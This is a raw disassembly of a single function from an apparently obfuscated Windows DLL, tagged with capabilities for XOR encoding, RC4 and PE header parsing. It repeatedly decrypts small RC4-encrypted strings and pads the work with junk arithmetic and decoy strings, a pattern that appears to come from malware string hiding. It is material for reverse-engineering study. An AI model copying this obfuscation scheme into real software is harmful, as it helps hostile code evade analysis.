Function at 0x10003336
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c0
push 0xf
pop eax
mov dword [ebp - 0x70], eax
mov edx, eax
xor eax, eax
mov dword [ebp - 0xa0], 0x42
mov dword [ebp - 0x9c], 0x2c
mov ecx, eax
mov dword [ebp - 0x98], 0x24
mov dword [ebp - 0x94], 0x4f
mov dword [ebp - 0x90], 0xffffff2d
sub edx, dword [ebp + ecx*4 - 0xa0]
inc ecx
cmp ecx, 5
jl 0x1000337d
push esi
push edi
push 8
pop ecx
mov esi, str.avdef:__config_AntiTrack_HashURL
mov dword [ebp - 0x1a8], edx
lea edi, [ebp - 0x20c]
mov dword [ebp - 0x24], 0xfc352b7a
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x10026478]
mov edx, eax
mov dword [ebp - 0x2c], ecx
mov ecx, dword [0x10026068]
movsb byte es:[edi], byte [esi]
movzx edi, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
mov dword [ebp - 0x20], 0x67a8c740
mov dword [ebp - 0x1c], 0xcf45ac50
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edi
mov esi, str.SystemCurrentControlSetServicesVxDMSTCP
mov dword [ebp - 8], 0x201b
cmp dword [ebp - 0x14], eax
je 0x1000340e
add dword [ebp - 8], edi
inc esi
cmp dword [ebp - 8], 0xe3f
ja 0x10003404
movzx edi, byte [esi]
test edi, edi
jne 0x100033e7
imul ecx, dword [ebp - 0x2c], 0x71683e0f
jmp 0x10003414
imul esi, dword [ebp - 0x2c], 0x698c391e
mov dword [ebp - 0x2c], esi
imul ecx, ecx, 0xad2c6b78
mov edi, dword [ebp - 0x14]
and ecx, 0x80f9d848
mov byte [ebp + edx - 0x1a4], dl
inc edx
cmp edx, 0x100
jb 0x100033d6
mov edi, eax
mov dl, byte [ebp + edi - 0x1a4]
mov eax, edi
and eax, 0x1f
xor ecx, 0x2dcaadc6
mov esi, ecx
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x20c]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x10], eax
imul ecx, esi, 0x8e00341d
mov al, byte [ebp + eax - 0x1a4]
and ecx, 0x1410c089
mov byte [ebp + edi - 0x1a4], al
or esi, 0x2399dd7b
mov eax, dword [ebp - 0x10]
or ecx, 0x800a3842
inc edi
mov dword [0x10026478], esi
mov byte [ebp + eax - 0x1a4], dl
cmp edi, 0x100
jb 0x1000342f
xor eax, eax
mov dword [0x10026068], ecx
mov dword [ebp - 0x10], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
xor esi, 0x13c4eac
movzx eax, al
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0x14]
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1a4], cl
mov ecx, esi
mov esi, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edi - 0x24]
mov byte [ebp + edi - 0x26c], al
inc edi
cmp edi, 0xc
jb 0x100034a7
push 0x50
pop edx
push 9
mov eax, str.PKCS12_item_i2d_encrypt_ex
pop edi
mov dword [ebp - 0xa4], eax
mov ecx, eax
mov dword [ebp - 0x8c], edi
lea eax, [edx - 0x30]
cmp ax, di
ja 0x10003543
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000352c
jmp 0x10003549
xor esi, 0x7bb831e1
mov edi, esi
mov dword [ebp - 0x10], 0x2424
and edi, 0xcb73efdd
mov ecx, str._image_map_backArrowIcon_
xor edi, 0x29b87e0c
xor eax, eax
push 0x40
mov byte [ebp - 0x260], al
pop edx
add dword [ebp - 0x10], edx
lea ecx, [ecx + 2]
cmp dword [ebp - 0x10], 0x5f1
ja 0x10003586
movzx edx, word [ecx]
test edx, edx
jne 0x1000356e
jmp 0x1000359d
mov ecx, str.eFrom_Uninstall
call fcn.10002329
imul esi, edi, 0x77efc6b1
call fcn.1000172c
xor eax, eax
or esi, 0x87ddc592
mov dword [ebp - 0x24], 0xb990847b
mov dword [ebp - 8], esi
lea edi, [ebp - 0x228]
push 0xf
pop ecx
mov esi, str.RegKey8HKCUSoftwareMacromediaFlashPlayerRecentMovie8
mov dword [ebp - 0x20], 0xca9231bc
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0xee993684
mov ecx, eax
mov dword [ebp - 0x14], eax
movsb byte es:[edi], byte [esi]
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x100035d1
mov edx, eax
mov ecx, str._image_map_backArrowIcon_
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x1e2a
jl 0x100035fe
cmp word [ecx], ax
jne 0x100035e8
mov eax, dword [ebp - 8]
jmp 0x1000360b
call fcn.10002181
mov eax, dword [ebp - 8]
or eax, 0xdf4acc82
lea edi, [eax - 0x6979d1e4]
call fcn.1000278d
xor edx, edx
mov dword [ebp - 0x38], 0x3c
mov dword [ebp - 0x30], edx
mov cl, byte [ebp + edx - 0x1a4]
mov eax, edx
xor edx, edx
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
and edi, 0x4d5f3195
movzx eax, byte [ebp + edx - 0x228]
lea esi, [edi - 0x34aaa71a]
add eax, dword [ebp - 0x14]
or edi, 0xf33798b0
mov edx, dword [ebp - 0x30]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x14], ecx
mov al, byte [ebp + ecx - 0x1a4]
mov byte [ebp + edx - 0x1a4], al
inc edx
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1a4], al
mov dword [ebp - 0x30], edx
cmp edx, 0x100
jb 0x10003622
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov ecx, eax
lea eax, [edx + 1]
mov dword [ebp - 0x14], str._image_map_backArrowIcon_
movzx edx, al
push 0x40
mov dword [ebp - 8], edx
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x30]
and esi, 0xb598e74a
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edx - 0x1a4], al
pop eax
add eax, 0xffffffd0
cmp ax, word [ebp - 0x8c]
ja 0x100036f0
mov eax, dword [ebp - 0x14]
add eax, 2
mov dword [ebp - 0x14], eax
movzx eax, word [eax]
mov dword [ebp - 0x38], eax
test ax, ax
jne 0x100036ce
jmp 0x100036f6
imul edi, esi, 0xfc8ccad3
mov eax, dword [ebp - 0x10]
sub edi, 0x5cd2468f
mov dl, byte [ebp - 1]
mov byte [ebp + eax - 0x1a4], dl
mov edx, dword [ebp - 8]
movzx eax, byte [ebp + edx - 0x1a4]
add eax, dword [ebp - 0x30]
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + ecx - 0x24]
mov byte [ebp + ecx - 0x25c], al
inc ecx
cmp ecx, 0xc
jb 0x1000368b
push 0x50
mov edx, 0x8e1
mov eax, str.PKCS12_item_i2d_encrypt_ex
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x8fe
ja 0x10003759
movzx ecx, word [eax]
test ecx, ecx
jne 0x10003743
jmp 0x10003766
call fcn.1000152f
mov esi, edi
and esi, 0xd68127fd
call fcn.10001e3e
push 0x50
mov ecx, str.PKCS12_item_i2d_encrypt_ex
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000378d
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x10003773
jmp 0x10003793
and esi, 0x7396d4d3
xor edx, edx
mov dword [ebp - 0xa0], 0x4a
and esi, 0x40112
mov byte [ebp - 0x250], dl
mov edi, edx
mov dword [ebp - 0x9c], 0x51
or esi, 0x156bb444
mov dword [ebp - 0x98], 0x44
mov dword [ebp - 0x94], 0x12
mov dword [ebp - 0x90], 0xffffff0f
imul eax, esi, 0x803a199d
mov ecx, edx
or eax, 0x6916cf99
sub edi, dword [ebp + ecx*4 - 0xa0]
inc ecx
cmp ecx, 5
jl 0x100037e8
mov dword [ebp - 0x1ac], edi
and eax, 0xcae8443c
and eax, 0x3c4e7d9f
add eax, 0x3a152f10
push ecx
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.100011ec
pop ecx
push 0xc
pop esi
mov dword [ebp - 0x6c], 0x42
mov eax, edx
mov dword [ebp - 0x68], 0x3e
mov ecx, str._image_map_backArrowIcon_
mov dword [ebp - 0x64], 0x3a
mov dword [ebp - 0x60], 0x4f
mov dword [ebp - 0x5c], 0xffffff02
inc eax
lea ecx, [ecx + 2]
cmp eax, 0x149b
jl 0x10003853
cmp word [ecx], dx
jne 0x10003843
cmp eax, 0xa23
jle 0x10003861
call fcn.10001f19
xor edx, edx
mov eax, edx
sub esi, dword [ebp + eax*4 - 0x6c]
inc eax
cmp eax, 5
jl 0x10003863
mov dword [ebp - 0x1c8], esi
lea edi, [ebp - 0x68]
mov esi, str.text_decoration
mov dword [ebp - 0x1f], 0xb6a91c63
push 0x1b
pop eax
mov dword [ebp - 0x34], eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x20], al
mov eax, edx
mov dword [ebp - 0x1b], 0x90b08b5b
mov word [ebp - 0x17], 0xfa1f
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp + eax - 0x1a4], al
inc eax
cmp eax, 0x100
jb 0x100038a1
movzx ecx, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
mov edi, edx
mov esi, dword [ebp - 0x38]
mov dword [ebp - 8], ecx
jmp 0x100038c4
mov ecx, dword [ebp - 8]
cmp dword [ebp - 8], 0
mov edx, 0xc10
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
je 0x100038ed
add edx, ecx
inc eax
cmp edx, 0x124a
ja 0x100038e8
movzx ecx, byte [eax]
test ecx, ecx
jne 0x100038d4
jmp 0x100038ed
call fcn.1000152f
sub esi, 0x5c680a51
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x70]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x68]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x10], eax
call fcn.1000120f
push 0x46
mov edx, 0x1856
mov eax, str.Failed_to_remove_license
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1141
ja 0x1000393f
movzx ecx, word [eax]
test ecx, ecx
jne 0x10003929
jmp 0x1000394a
call fcn.10001f19
add esi, 0x43d301e8
call fcn.10001431
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + ecx - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1a4], al
cmp edi, 0x100
jb 0x100038c1
add esi, 0x546b87d1
xor eax, eax
or esi, 0x1fa16d69
mov edx, eax
add esi, 0xaaa8e0e
mov ecx, eax
mov dword [ebp - 0xc], esi
mov edi, eax
mov esi, dword [ebp - 8]
lea eax, [ecx + 1]
mov ecx, esi
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x30], eax
add eax, edx
movzx eax, al
mov edx, 0x1c51
mov dword [ebp - 0x38], eax
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
test esi, esi
je 0x100039e1
add edx, ecx
inc eax
cmp edx, 0xc84
ja 0x100039dc
movzx ecx, byte [eax]
test ecx, ecx
jne 0x100039c8
jmp 0x100039e1
call fcn.1000278d
call fcn.1000281c
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp + ecx - 0x1a4], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x1a4], al
movzx eax, byte [ebp + ecx - 0x1a4]
add eax, dword [ebp - 0x30]
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edi - 0x20]
mov byte [ebp + edi - 0x234], al
inc edi
cmp edi, 0xb
jb 0x10003997
mov esi, dword [ebp - 0xc]
mov edx, 0xa1b
push 0x46
mov byte [ebp - 0x229], 0
mov eax, str.Failed_to_remove_license
mov dword [ebp - 0x8c], 7
mov dword [ebp - 0x24], 0xe
mov dword [ebp - 0x20], 0x14
mov dword [ebp - 0x1c], 0xffffffd8
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x39f
ja 0x10003a80
movzx ecx, word [eax]
test ecx, ecx
jne 0x10003a64
imul esi, esi, 0x8821f67c
jmp 0x10003a8b
call fcn.100012e6
and esi, 0xba055d0d
movzx eax, byte [str.eFrom_Uninstall]
mov edi, esi
xor edi, 0x87c210c9
mov edx, 0x144e
mov ecx, str.eFrom_Uninstall
jmp 0x10003ab4
add edx, eax
inc ecx
cmp edx, 0xdff
ja 0x10003aba
movzx eax, byte [ecx]
test eax, eax
jne 0x10003aa6
jmp 0x10003ac5
call fcn.1000152f
imul edi, esi, 0xe6f016a7
call fcn.10002c8e
xor eax, eax
mov esi, eax
cmp byte [str.eFrom_Uninstall], 0
mov ecx, eax
je 0x10003b0f
inc ecx
cmp ecx, 0x2531
je 0x10003af5
cmp byte [ecx + str.eFrom_Uninstall], 0
jne 0x10003ad9
cmp ecx, 0xdf7
jle 0x10003b0f
jmp 0x10003aff
mov ecx, str.eFrom_Uninstall
call fcn.10002329
mov eax, str.eFrom_Uninstall
mov edx, eax
mov ecx, eax
call fcn.100029e8
xor eax, eax
add edi, 0xac966fbd
mov edx, edi
mov ecx, dword [ebp - 0x8c]
or edi, 0x92c540ec
add ecx, dword [ebp + esi*4 - 0x24]
inc esi
mov dword [ebp - 0x8c], ecx
cmp esi, 3
jl 0x10003ace
push 6
pop ecx
mov esi, str.error_in_nextupdate_field
mov dword [ebp - 0x48], 0x780642cd
lea edi, [ebp - 0x208]
mov dword [ebp - 0x44], 0xeb5e0714
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x40], 0x5281f3f3
mov dword [ebp - 0x14], eax
movsw word es:[edi], word [esi]
push ecx
lea edi, [edx - 0x7a30282a]
push ecx
mov ecx, edi
call fcn.1000119b
mov eax, edi
add esp, 8
and eax, 0x2cc29e90
and edi, 0x11521faf
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x30], edi
mov ecx, eax
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10003b86
mov edi, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp - 0x38], 0x19
xor edx, edx
mov cl, byte [ebp + esi - 0x1a4]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x208]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1a4], al
cmp esi, 0x100
jb 0x10003ba2
mov edi, dword [ebp - 0x30]
xor eax, eax
mov ecx, dword [ebp - 0x2c]
mov edx, eax
mov dword [ebp - 8], eax
mov esi, eax
lea eax, [edx + 1]
mov dword [ebp - 0x10], 0x1343
movzx edx, al
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x30]
xor ecx, 0xbdc65063
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edx - 0x1a4], al
mov edx, str.eFrom_Uninstall
movzx eax, byte [str.eFrom_Uninstall]
jmp 0x10003c53
add dword [ebp - 0x10], eax
inc edx
cmp dword [ebp - 0x10], 0x239e
ja 0x10003c59
movzx eax, byte [edx]
test eax, eax
jne 0x10003c43
jmp 0x10003c6b
mov ecx, str.eFrom_Uninstall
call fcn.10002329
mov ecx, edi
or ecx, 0x90608e50
mov eax, dword [ebp - 8]
mov edi, ecx
mov dl, byte [ebp - 1]
or edi, 0xd39fd72
mov byte [ebp + eax - 0x1a4], dl
mov edx, dword [ebp - 0x14]
movzx eax, byte [ebp + edx - 0x1a4]
add eax, dword [ebp - 0x30]
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + esi - 0x48]
mov byte [ebp + esi - 0x2ac], al
inc esi
cmp esi, 0xc
jb 0x10003bf5
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x2a0], 0
call fcn.10001e3e
movzx eax, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
mov edx, 0xbea
mov ecx, str.SystemCurrentControlSetServicesVxDMSTCP
jmp 0x10003cdd
add edx, eax
inc ecx
cmp edx, 0x1a0
ja 0x10003ce3
movzx eax, byte [ecx]
test eax, eax
jne 0x10003ccf
jmp 0x10003ced
mov ecx, str.PKCS12_item_i2d_encrypt_ex
call fcn.10002689
or dword [ebp - 0x2c], 0xa0db1f0c
call fcn.10001a55
push 0x3b
pop eax
push 7
pop ecx
mov esi, str.Activity_History_Temp_Files
mov dword [ebp - 0x4c], eax
lea edi, [ebp - 0x208]
mov byte [ebp - 0x5f], al
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov dword [ebp - 0x6c], 0x85abef28
mov dword [ebp - 0x68], 0x776ea39
mov ecx, eax
mov dword [ebp - 0x64], 0x4445077f
mov byte [ebp - 0x60], 0xa9
mov dword [ebp - 0x5e], 0xee248470
mov byte [ebp - 0x5a], 0x9f
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10003d3a
mov esi, dword [ebp - 0x2c]
mov edi, eax
add esi, 0xb80f1541
mov dword [ebp - 8], esi
mov esi, eax
mov edx, eax
mov ecx, str._image_map_backArrowIcon_
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x55a
jg 0x10003d74
cmp word [ecx], ax
jne 0x10003d61
jmp 0x10003d79
call fcn.10001a55
call fcn.1000172c
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x34]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x208]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov al, byte [ebp - 1]
inc edi
mov byte [ebp + esi - 0x1a4], al
push 0
pop eax
cmp edi, 0x100
jb 0x10003d5a
mov edi, dword [ebp - 0x2c]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x30], 0x13
lea eax, [ecx + 1]
and dword [ebp - 8], 0xbfd13db2
movzx eax, al
or edi, 0x468eb3bf
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x2c]
push 0x13
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1a4], cl
mov eax, esi
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + ecx - 0x6c]
mov byte [ebp + ecx - 0x2c0], al
inc ecx
pop eax
mov dword [ebp - 0x14], ecx
cmp ecx, eax
mov ecx, esi
jb 0x10003dd7
xor eax, eax
mov dword [ebp - 0x6c], 0x64
push 0x52
pop esi
mov byte [ebp - 0x2ad], al
mov edx, eax
mov dword [ebp - 0x68], 0x59
mov ecx, eax
mov dword [ebp - 0x64], 0x57
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], 0xfffffe9a
sub edx, dword [ebp + ecx*4 - 0x6c]
inc ecx
cmp ecx, 5
jl 0x10003e7c
push 0xc
mov dword [ebp - 0x1c4], edx
pop edx
push 0x3b
pop ecx
mov dword [ebp - 0x68], ecx
mov ecx, eax
mov dword [ebp - 0x6c], 0x17
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x5c], 0xffffff66
sub edx, dword [ebp + ecx*4 - 0x6c]
inc ecx
cmp ecx, 5
jl 0x10003eaf
push 5
pop ecx
mov esi, str.usedStyleProperties
mov dword [ebp - 0x1bc], edx
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x20], 0x6ca58cb5
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x627b0b18
add esi, 0x39b73225
mov word [ebp - 0x18], 0x8b70
mov byte [ebp - 0x16], 0xed
mov dword [ebp - 0x14], eax
cmp byte [str.SystemCurrentControlSetServicesVxDMSTCP], 0
lea edi, [esi - 0x25c1741e]
je 0x10003f17
inc eax
cmp eax, 0xd44
je 0x10003f45
cmp byte [eax + str.SystemCurrentControlSetServicesVxDMSTCP], 0
jne 0x10003eff
cmp eax, 0x3f4
jg 0x10003f1f
mov esi, edi
xor esi, 0x6ead370a
push ecx
push ecx
mov ecx, esi
call fcn.1000119b
mov ecx, dword [ebp - 0x14]
add esp, 8
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x100
jae 0x10003f59
xor eax, eax
jmp 0x10003ef0
mov ecx, str.SystemCurrentControlSetServicesVxDMSTCP
call fcn.10002329
mov esi, edi
or esi, 0x433c86f4
jmp 0x10003f1f
mov edi, esi
mov dword [ebp - 8], esi
and edi, 0x93667c3d
mov dword [ebp - 0xc], edi
xor edi, edi
mov esi, edi
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x30]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x6c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x1a4], al
cmp edi, 0x100
jb 0x10003f6b
mov esi, dword [ebp - 8]
xor ecx, ecx
mov edi, dword [ebp - 0xc]
mov eax, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
inc eax
mov edx, ecx
movzx eax, al
mov dword [ebp - 8], eax
mov eax, str._image_map_backArrowIcon_
inc edx
lea eax, [eax + 2]
cmp edx, 0xf87
je 0x10003fdd
cmp word [eax], cx
jne 0x10003fca
jmp 0x10003fe8
call fcn.100014b1
lea edi, [esi - 0x55d2aac6]
mov eax, dword [ebp - 8]
lea esi, [edi - 0x7d831398]
xor esi, 0x151746f8
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x34], eax
add eax, dword [ebp - 0x10]
movzx eax, al
mov dword [ebp - 0x10], eax
mov edi, esi
xor edi, 0x93ef1392
sub esi, 0x78e50f1a
call fcn.100014b1
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp + ecx - 0x1a4], al
xor ecx, ecx
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x1a4], al
mov eax, ecx
cmp byte [str.eFrom_Uninstall], al
je 0x10004075
inc eax
cmp eax, 0x89f
jg 0x10004066
cmp byte [eax + str.eFrom_Uninstall], cl
jne 0x1000404d
cmp eax, 0x134
jle 0x10004075
jmp 0x1000406e
mov esi, edi
or esi, 0x22c02805
call fcn.10001cdd
xor ecx, ecx
sub esi, 0x600ad4b6
mov eax, dword [ebp - 8]
mov edi, esi
mov edx, dword [ebp - 0x14]
xor edi, 0x2cc4e8ac
movzx eax, byte [ebp + eax - 0x1a4]
add eax, dword [ebp - 0x34]
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edx - 0x20]
mov byte [ebp + edx - 0x240], al
inc edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], edx
cmp edx, 0xb
jb 0x10003fbc
push 0xe
pop eax
mov dword [ebp - 0x30], eax
mov edx, ecx
mov byte [ebp - 0x235], cl
mov eax, str._image_map_backArrowIcon_
inc edx
lea eax, [eax + 2]
cmp edx, 0x1194
jg 0x100040df
cmp word [eax], cx
jne 0x100040cc
jmp 0x100040e5
lea esi, [edi + 0x76776f7b]
call fcn.10001e3e
push 0x50
mov dword [ebp - 0x84], 0x21
mov edx, 0x1282
mov dword [ebp - 0x80], 0x29
mov eax, str.PKCS12_item_i2d_encrypt_ex
mov dword [ebp - 0x7c], 0x26
mov dword [ebp - 0x78], 0xffffff9d
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x2049
ja 0x1000412c
movzx ecx, word [eax]
test ecx, ecx
jne 0x10004116
jmp 0x1000413d
call fcn.100014b1
lea edi, [esi - 0x5db80203]
xor edi, 0xcb737152
and edi, 0x684ec480
mov esi, edi
or esi, 0x854a2190
call fcn.10002268
movzx ecx, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
and dword [ebp - 0x14], 0
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
mov edx, 0x22a5
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
je 0x1000418f
add edx, ecx
inc eax
cmp edx, 0x11aa
ja 0x10004182
movzx ecx, byte [eax]
test ecx, ecx
jne 0x1000416e
jmp 0x1000418f
call fcn.100023ca
mov esi, edi
xor esi, 0xee0b0997
mov eax, dword [ebp - 0x14]
mov edi, esi
mov ecx, dword [ebp - 0x30]
or edi, 0xfef2ee20
sub ecx, dword [ebp + eax*4 - 0x84]
inc eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp eax, 4
jl 0x1000415e
mov dword [ebp - 0x2c], esi
xor eax, eax
mov dword [ebp - 0xc], edi
mov esi, str._fffffff
lea edi, [ebp - 0x44]
mov dword [ebp - 0x24], 0x7ac5c21
mov dword [ebp - 0x20], 0xb89ad98e
mov ecx, eax
mov dword [ebp - 0x1c], 0x8df72037
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x100041df
mov esi, eax
mov dl, byte [ebp + esi - 0x1a4]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x44]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
inc esi
mov byte [ebp + edi - 0x1a4], dl
cmp esi, 0x100
jb 0x100041f1
mov esi, dword [ebp - 0xc]
xor eax, eax
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], eax
mov ecx, eax
mov edx, str.PKCS12_item_i2d_encrypt_ex
inc ecx
lea edx, [edx + 2]
cmp ecx, 0x168f
je 0x10004262
cmp word [edx], ax
jne 0x10004242
cmp ecx, 0x1a7e
jle 0x1000426d
call fcn.10002e1b
jmp 0x1000426d
mov edi, esi
xor edi, 0x674928ab
mov dword [ebp - 0x2c], edi
mov esi, edi
and esi, 0xf3d7b7d8
or esi, 0xe397b3d0
call fcn.10001f19
mov eax, dword [ebp - 8]
inc eax
movzx eax, al
mov dword [ebp - 8], eax
mov edi, dword [ebp - 8]
push 0
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1a4], cl
mov eax, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + ecx - 0x24]
mov byte [ebp + ecx - 0x27c], al
inc ecx
mov dword [ebp - 0x14], ecx
pop eax
cmp ecx, 0xc
jb 0x1000423b
mov byte [ebp - 0x270], al
lea esi, [edi - 0x455590aa]
call fcn.10001619
mov dword [ebp - 0x48], 0x84a8598
mov dword [ebp - 0x44], 0x6fb2dcc2
mov dword [ebp - 0x40], 0x9e4cac2c
mov word [ebp - 0x3c], 0x6a79
mov byte [ebp - 0x3a], 0x8d
push ecx
mov edx, esi
push ecx
and edx, 0x9d52634b
call fcn.1000277e
add esp, 8
lea edi, [ebp - 0x218]
xor esi, 0x662aa4b9
xor eax, eax
mov dword [ebp - 8], esi
mov esi, str.avcfg:__settings_Common_SoftTrialLastOffer
mov dword [ebp - 0xc], eax
push 0xa
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
